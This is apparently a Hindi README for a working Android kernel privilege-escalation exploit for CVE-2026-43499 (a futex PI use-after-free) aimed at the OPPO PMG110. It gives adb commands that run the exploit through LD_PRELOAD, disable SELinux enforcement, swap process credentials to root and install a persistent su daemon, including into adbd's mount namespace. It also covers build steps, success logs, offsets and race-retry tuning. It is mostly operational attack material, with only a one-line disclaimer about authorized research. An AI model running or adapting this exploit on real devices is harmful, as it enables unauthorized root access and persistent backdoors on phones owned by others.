
CVE-2026-43499 के लिए Android LPE एक्सप्लॉइट जो OPPO PMG110 (कर्नेल 6.6) को लक्षित करता है। रूट प्राप्त करने के लिए futex PI UAF का उपयोग करता है और LD_PRELOAD के माध्यम से su डेमॉन स्थापित करता है।
CVE-2026-43499 (futex PI rt_mutex_waiter use-after-free) स्थानीय विशेषाधिकार वृद्धि (local privilege escalation), OPPO PMG110 / K15 Pro+ — MediaTek MT6991, ColorOS 16 के लिए पोर्ट किया गया।
केवल एक फ़ाइल पुश होती है, LD_PRELOAD के माध्यम से चलाएँ:
adb push out/preload-pmg110-16.0.9.400.so /data/local/tmp/preload.so
adb shell chmod 644 /data/local/tmp/preload.so
adb shell LD_PRELOAD=/data/local/tmp/preload.so /system/bin/true
सफलता पर एक स्थायी su पीछे छोड़ दिया जाता है:
adb shell /data/local/tmp/su -c id # uid=0(root)
डिवाइस पर सत्यापित (2026-07-27): बिना किसी पर्यावरण ओवरराइड के एक सामान्य रन से लगभग 35 सेकंड में uid=0, और उसके बाद एक साधारण अनविशेषाधिकारित adb shell से su उत्तर देता है:
$ adb shell "/data/local/tmp/su -c 'echo 0 > /proc/sys/kernel/kptr_restrict'"
$ adb shell "/data/local/tmp/su -c 'grep -w init_task /proc/kallsyms'"
ffffffe89033e780 D init_task
एक्सप्लॉइट और su इंस्टॉलेशन दोनों इसी डिवाइस पर सत्यापित हैं। उस रूटेड शेल ने जो वापस पढ़ा, वह एक्सप्लॉइट से स्वतंत्र रूप से P0_KERNEL_PHYS_LOAD, प्रतीक ऑफ़सेट और KS_MTE_TAGGED=0 की भी पुष्टि करता है — देखें targets/pmg110-16.0.9.400/NOTES.md।
यह Write 1 (SELinux permissive) और Write 2 (cred → init_cred) चलाता है, एक चाइल्ड प्रोसेस को uid=0 पर ले जाता है, और वहाँ से एम्बेडेड su डेमॉन इंस्टॉल करता है।
su कोई दूसरा आर्टिफैक्ट नहीं है: su_daemon.c को एक स्टैंडअलोन aarch64 PIE के रूप में बनाया जाता है और लाइब्रेरी के .rodata में .incbin किया जाता है, इसलिए यह preload.so के अंदर ही समाहित रहता है और रन टाइम पर वापस लिखा जाता है। warhol-root का मार्ग, अपरिवर्तित।ksud नहीं, कोई KernelSU नहींsu तीन स्थानों पर इंस्टॉल होता है, क्योंकि उनमें से एक वही है जहाँ आप वास्तव में पहुँचेंगे:
डेमॉन /data/local/tmp/temp_su.sock पर सुनता है और /data/local/tmp/su_daemon.log में लॉग करता है। रूट रिबूट के बाद स्थायी नहीं रहता — प्रत्येक बूट के बाद LD_PRELOAD लाइन दोबारा चलाएँ।
KernelSU इंस्टॉलेशन के लिए, इसके बजाय ghostlock-oneplus में /data/local/tmp/a/e मार्ग का उपयोग करें।
एक्सप्लॉइट कोर को छोड़कर बाकी सब warhol-root का है, दोबारा आविष्कार करने के बजाय लिया गया:
targets/<device>/ के नीचे प्रति-डिवाइस हेडर, बिल्ड समय पर source/src/ में स्टेज होते हैं, ताकि DEVICE स्विच करने पर पिछले डिवाइस के हेडर कभी पीछे न छूटेंsource/Makefile का टूलचेन चयन (NDK यदि उपलब्ध हो, अन्यथा NDK sysroot के विरुद्ध होस्ट clang) और दो-चरणीय एम्बेड नियम जो .so को लिंक करने से पहले build/embed/su_daemon_aarch64_pie उत्पन्न करता हैsu_daemon.c और su_blob.S warhol-root के साथ बाइट-समान हैं, और su_install.c इसका preload.c इंस्टॉलर हैएक्सप्लॉइट कोर warhol-root का नहीं है। warhol-root popsicle है, जो GKI 6.12 / android16 पर पिन है और जिसका generate_target.py किसी अन्य बैनर को अस्वीकार कर देता है। PMG110 6.6 / android15 है, इसलिए यहाँ का कोर ghostlock 6.6 ट्री है — जो स्वयं उसी कोड का वंशज है (kernelsnitch/utils.h और timeutils.h दोनों रिपॉजिटरी में बाइट-समान हैं), आगे विकसित किया गया।
एक्सप्लॉइट की हर पंक्ति — Write 1, Write 2, KernelSnitch, pselect मार्ग — दोनों ट्री में एक ही कोड है।
यह एकमात्र संरचनात्मक अंतर है, और यह इस तथ्य से विवश है कि दोनों ट्री अलग-अलग रूपों में रूट प्राप्त करते हैं।
warhol-root स्वयं एक्सप्लॉइट प्रोसेस को रूट करता है और इसलिए install_embedded_su() को सीधे run_direct_root() से कॉल करता है। यहाँ Write 2 एक forked चाइल्ड के cred पॉइंटर को स्वैप करता है और पैरेंट अनविशेषाधिकारित कॉलर बना रहता है, इसलिए child_main() में चाइल्ड ही एकमात्र संदर्भ है जो इंस्टॉल कर सकता है — वहीं यह चलता है।
दोनों ट्री util.c में एक ही weak install_embedded_su() स्टब रखते हैं जो ENOSYS लौटाता है; strong परिभाषा प्रदान करना ही मार्ग को चालू करता है। यह जानने लायक है क्योंकि एक बिल्ड जो किसी तरह su_install.c छोड़ देता है, फिर भी लिंक होता है और चलता है — वह बस su=0/38 रिपोर्ट करता है और कुछ इंस्टॉल नहीं करता।
make # = make preload -> out/preload-<DEVICE>.so
make DEVICE=<name> # use targets/<name>/
make devices # list available DEVICE values
make info # show the selected target and the resolved toolchain
टूलचेन अपने आप मिल जाता है: पहले ANDROID_NDK_HOME / ANDROID_NDK_ROOT, फिर Linux और macOS के लिए सामान्य NDK इंस्टॉल स्थान, और इन सबके विफल रहने पर, NDK sysroot को लक्षित करने वाला होस्ट clang। ANDROID_NDK_HOME केवल खोज को ओवरराइड करने के लिए सेट करें। make info अपनी चयनित चीज़ प्रिंट करता है।
बिल्ड दो चरणों का है, जो जानने लायक हिस्सा है:
su_daemon.c → build/embed/su_daemon_aarch64_pie, एक स्टैंडअलोन aarch64 PIEsu_blob.S उस बाइनरी को .rodata में .incbin करता है, और पूरी चीज़ एक ही preload.so में लिंक हो जाती हैइसलिए एम्बेडेड su को बदलने का एकमात्र तरीका make clean और पुनर्निर्माण है — अकेले su_daemon.c को संपादित करना पर्याप्त है, निर्भरता घोषित है, लेकिन ब्लॉब एक बिल्ड आर्टिफैक्ट है और ट्रैक नहीं किया जाता।
targets/<device>/{target.h,device_offsets.h} प्रत्येक बिल्ड पर source/src/ में फिर से स्टेज किए जाते हैं, ताकि किसी अन्य डिवाइस का पुराना हेडर चुपचाप न उठाया जा सके।
out/*.so ट्रैक नहीं किया जाता (warhol-root के समान परंपरा) — क्लोन करें और make चलाएँ।
.so को -fvisibility=hidden के साथ बनाया गया है और यह शून्य प्रतीकों को निर्यात करता है। एक LD_PRELOAD लाइब्रेरी पूरी प्रोसेस के लिए प्रतीक लुकअप जीत लेती है, इसलिए इसके द्वारा निर्यात की गई कोई भी चीज़ होस्ट बाइनरी या libc में समान-नाम वाले प्रतीक को छायांकित कर सकती है। वह फ्लैग केवल C कोडजन को नियंत्रित करता है, इसलिए su_blob.S अपने दो प्रतीकों को हाथ से .hidden चिह्नित करता है — उन पंक्तियों के बिना ब्लॉब सीमाएँ ही एकमात्र चीज़ होतीं जो लाइब्रेरी अब भी निर्यात करती।
सत्यापित रन पर इनमें से किसी की आवश्यकता नहीं पड़ी।
[*] futex_hashsize 2048 (8 possible CPUs)
[*] ks collisions=3/3 baseline=8 threshold=10x (80) accepted=[1244..1597] slowest_rejected=N
[+] child uid = 0
[+] embedded su wrote 15304 bytes to /apex/com.android.virt/bin/su
[+] embedded su daemon ready pid=NNNN socket=/data/local/tmp/temp_su.sock daemon=/apex/com.android.virt/bin/su
[+] embedded su install ok=1 errno=0 daemon=NNNN
[+] su ready: /data/local/tmp/su and /apex/com.android.virt/bin/su
[+] ghostlock preload verdict: EXPLOIT OK
child uid = 0 का अर्थ है एक्सप्लॉइट का सफल होना; इसके बाद की हर चीज़ इंस्टॉल है। दोनों को जानबूझकर अलग-अलग रिपोर्ट किया जाता है, और वर्डिक्ट भी वैसे ही है:
बीच वाला वह अंतर है जो जानने लायक है: यह बताता है कि target.h में ऑफ़सेट इस बिल्ड के लिए सही हैं और समस्या इंस्टॉल में कहीं है, जो डीबग करने के लिए पूरी तरह से अलग चीज़ है। इसके अंदर su=0/38 (ENOSYS) विशेष रूप से इंगित करता है कि weak स्टब ही लिंक हुआ है।
mm_struct leak failed के बाद आने वाला prepare_kernel_page retry N/24 विफलता नहीं है। यह लूप की प्रगति है, और सफल रन भी इसे दिखाता है। जब तक 24 प्रयास समाप्त नहीं होते और prepare_kernel_page timeout प्रकट नहीं होता, तब तक कुछ भी विफल नहीं हुआ है। इसी तरह child uid = 2000 के साथ probing cfi ... expected=9 दस में से एक राउंड चूकना है।
किसी रन का मूल्यांकन काटे गए लॉग से न करें — उस गलती ने यहाँ गलत निदान का एक पूरा दौर खर्च कर दिया।
पूरी तरह विफल रन भी सामान्य है। pselect रेस 100% नहीं है: एक रन इसे पाँच बार हार सकता है और Write 1 failed पर समाप्त हो सकता है, और अगला रन पहले ही प्रयास में ret=9 के साथ जीत लेता है। इस डिवाइस पर देखा गया। ret=4 expected=9 रेस हारने जैसा दिखता है, न कि गलत target.h — एक विफलता ऑफ़सेट दोबारा निकालने का कारण नहीं है। इसे दोबारा चलाएँ।
केवल अधिकृत सुरक्षा अनुसंधान और शैक्षिक उद्देश्यों के लिए।
| डिवाइस | OPPO PMG110 / K15 Pro+ / OP61E5L1 |
| SoC | MediaTek MT6991 (Dimensity 9500s) |
| कर्नेल | 6.6.118-android15-8-g93e223c276e7-abogki500782043-4k (GKI, 4K पेज) |
| बिल्ड | ColorOS 16 / PMG110_16.0.9.400(CN01) — 16.0.8.300 के समान कर्नेल बाइट्स |
| बग | CVE-2026-43499, इस इमेज में अनफिक्स्ड (डिसअसेंबली द्वारा दिखाया गया है, संस्करण से नहीं) |
| पथ | कारण |
|---|
/apex/com.android.virt/bin/su | उस निर्देशिका के ऊपर माउंटेड tmpfs पर; रूट शेल के लिए PATH पर |
/data/local/tmp/su | बिना किसी PATH चालबाज़ी के एक सादे adb shell से पहुँच योग्य |
/apex/com.android.virt/bin/su adbd के माउंट नेमस्पेस में | setns के माध्यम से इंस्टॉल किया जाता है, इसलिए एक नया adb shell इसे देखता है |
| फ़ाइल | संबंध |
|---|
util.c slide.c fops.c pipe.c root.c miniadb.c common.h offset.h kernelsnitch/* | ghostlock का, बाइट-समान |
su_daemon.c su_blob.S | warhol-root का, बाइट-समान (su_blob.S दो .hidden पंक्तियाँ जोड़ता है — Build देखें) |
su_install.c | warhol-root का preload.c इंस्टॉलर, अपनी अलग फ़ाइल में स्थानांतरित किया गया क्योंकि इस ट्री के preload.c का कार्य पहले से अलग है |
main.c | ghostlock का, साथ ही रूटेड चाइल्ड में su कॉल और परिणाम रिपोर्टिंग |
preload.c | केवल यहाँ — कंस्ट्रक्टर और द्वि-सिंक लॉग |
offsets.h | केवल struct परिभाषा; एंट्री targets/<device>/device_offsets.h से स्टेज की जाती है |
| चर | प्रभाव |
|---|
GHOSTLOCK_LOG | लॉग गंतव्य (डिफ़ॉल्ट /data/local/tmp/.ghostlock.log); आउटपुट stdout और फ़ाइल में जाता है |
GHOSTLOCK_KS_VERBOSE=1 | KernelSnitch के कोलिजन पते और स्वीप रेंज प्रिंट करें |
GHOSTLOCK_KS_THRESHOLD=<n> | कोलिजन थ्रेशोल्ड गुणक ओवरराइड करें |
GHOSTLOCK_MTE=1 | कर्नेल पॉइंटर टैग भी स्वीप करें (15x धीमा) |
GHOSTLOCK_PHYS_LOAD=0x... | कर्नेल फिजिकल लोड पता ओवरराइड करें |
PSELECT_SHIFT=<n> | स्टैक ओवरले शिफ्ट ओवरराइड करें (प्रतिस्थापित करता है, जोड़ता नहीं) |
| वर्डिक्ट | अर्थ |
|---|
EXPLOIT OK | रूट मिला, और su उत्तर देता है |
EXPLOIT OK, SU INSTALL FAILED | Write 1 और Write 2 सफल रहे; केवल इंस्टॉल गलत हुआ |
EXPLOIT FAILED | राइट्स सफल नहीं हुए |
ABORTED | रिपोर्ट करने से पहले ही रन समाप्त हो गया — अंतिम [!] पंक्ति पढ़ें |
| पथ | सामग्री |
|---|
source/src/preload.c | कंस्ट्रक्टर: एक्सप्लॉइट चलाता है, रिपोर्ट करता है, रुकता है |
source/src/main.c | एक्सप्लॉइट स्वयं (Write 1 / Write 2) |
source/src/su_daemon.c | su बाइनरी — एक aarch64 PIE के रूप में स्टैंडअलोन बनाया गया, .so में लिंक नहीं |
source/src/su_blob.S | उस PIE को .so के .rodata में .incbin करता है |
source/src/su_install.c | ब्लॉब को वापस लिखता है, डेमॉन शुरू करता है, उसकी जाँच करता है |
source/src/target.h | स्टेजिंग गंतव्य (gitignored) |
targets/<device>/target.h | संकलन-समय लेआउट: struct ऑफ़सेट, physmap स्थिरांक, slab और futex आकृतियाँ |
targets/<device>/device_offsets.h | kallsyms से ग्लोबल सिंबल ऑफ़सेट |
tools/extract_device.py | boot.img → ऑफ़सेट, BTF struct फ़ील्ड, pselect ओवरले परिणाम |
tools/preloader_memlayout.py | MediaTek preloader → P0_KERNEL_PHYS_LOAD |
tools/qemu_verify.py | QEMU के अंतर्गत कर्नेल बूट करता है: स्टैक ओवरले मापता है, लीनियर-मैप स्थिरता जाँचता है |
tools/device_probe.sh | एक अनविशेषाधिकारित adb shell से प्री-फ्लाइट जाँच |